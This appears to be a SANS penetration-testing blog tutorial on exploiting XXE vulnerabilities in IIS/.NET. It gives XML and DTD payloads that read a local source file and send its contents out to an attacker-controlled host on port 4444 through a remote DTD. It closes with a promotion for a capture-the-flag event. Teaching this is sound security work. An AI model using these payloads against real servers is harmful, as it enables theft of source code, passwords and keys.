SANS Penetration Testing

Exploiting XXE Vulnerabilities in IIS/.NET

By Chris Davis

XXE (XML External Entity) attacks happen when an XML parser improperly processes input from a user that contains an external entity declaration in the doctype of an XML payload. This external entity may contain further code which allows an attacker to read sensitive data on the system or potentially perform other more severe actions.

This article will demonstrate the steps necessary to perform an XXE attack against IIS servers using the Microsoft .NET framework. However, this article will not go into great depth in explaining how these technologies fundamentally work. Please reference the useful links sections below if you would like to know more about these technologies.

XXE Exploitation

Below we can see an example of an external parameter entity named extentity being declared which uses the SYSTEM directive to load the contents of a URI. Then, %extentity; is called in order to trigger a HTTP GET request to the designated URI below.

<?xml version="1.0" encoding="utf-8"?-->
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil">
%extentity;
]
>

Alternatively, this same directive could be used to access a file locally on a system:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
[<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml">
%extentity;
]
>

However, XML has defined well-formed restrictions that would prohibit the above example. As such, the above example would not load our file at c:/inetpub/wwwroot/Views/secret_source.cshtml and would instead produce an error.

What about entity inception? We could try to embed an entity within an entity within our XML payload. For example:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity "<!ENTITY stolendata SYSTEM ?file:///c:/inetpub/wwwroot/Views/secret_source.cshtml'>">
%extentity;
]
<

Unfortunately, this is also not possible due to XML well-formed restrictions prohibiting external entities from being declared in the value.

We know that we cannot reference a file on our system but we can have the parser grab a resource from a URI. We could attempt to load a Data Type Definition (DTD) file to accomplish this instead. DTD files are files that are loaded prior to an XML file being parsed and tells the parser how to properly interpret an XML file. Let's attempt to embed our restricted entity payloads in our DTD file to bypass these restrictions.

For example, we could load the following xml file into our parser which points to a DTD file. When %extentity; is called, it loads the contents of our DTD file (evil.dtd) at the provided URI:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd">
%extentity;
]
>

We would then need to have a web server listening on port 4444 at the above IP address with the evil.dtd file located at the root of the web directory. What's in this magical DTD file you ask? Well, I'll show you:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://192.168.1.10:4444/?%stolendata;'>">

Line 1 of the above DTD file declares the XML version and encoding. Line 2 declares that we want to grab the contents of a sensitive file. In line 3 we perform entity inception and append the contents of the stolendata file to a URI. This URI will be our webserver listening on port 4444. By doing this, we are able to bypass the XML well-formed restrictions that we attempted to embed earlier in our original XML payload.
xxe1

The above illustration shows us the first few steps of the process:

1. We upload our original XML payload which points the system to load a DTD file from our remote web server.

2. The XML parser reaches out to the designated URI to retrieve DTD contents.

3. XML parser loads the contents of the DTD into the pre-processing of the original XML payload.

At this point, we have successfully bypassed the well-formed restrictions. However, we still need to call the entities we declared in our DTD file in order to retrieve the contents of secret_source.cshtml and send them back to our webserver. To do this, we would need to insert %inception; and %sendit; after %extentity; in our original XML file before we send the payload. Our original XML payload should now look something like this:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://192.168.1.10:4444/evil.dtd">
%extentity;
%inception;
%sendit;
]
<

xxe2

That's it! As long as we had a webserver or a Netcat listener setup on port 4444, the XML parser would send back the contents of the target file (secret_source.cshtml) embedded in the URI of the GET request. Source files containing sensitive information like database passwords and encryption keys exfiltrated using this method could then be leveraged to escalate to more valuable content from there.

Note: There are certain limitations to this technique as the XML parser will produce an error if the file content exceeds 2000 bytes in total length due to URI length restrictions.

Useful Links:

OWASP: XML External Entity (XXE) Processing

XML Security Cheat Sheet

Microsoft: ENTITY (XML) .NET Framework

W3schools: XML DTD

-Chris Davis
Counter Hack

Upcoming SANS Special Event - 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge - KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • "On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team." - @mikehodges
  • "#SANSHolidayHack Confession — I have never used python or scapy before. I got started with both today because of this game! Yay!" - @tww2b
  • "Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa" - @dnlongen
kringle_02

Post a Comment






Captcha


* Indicates a required field.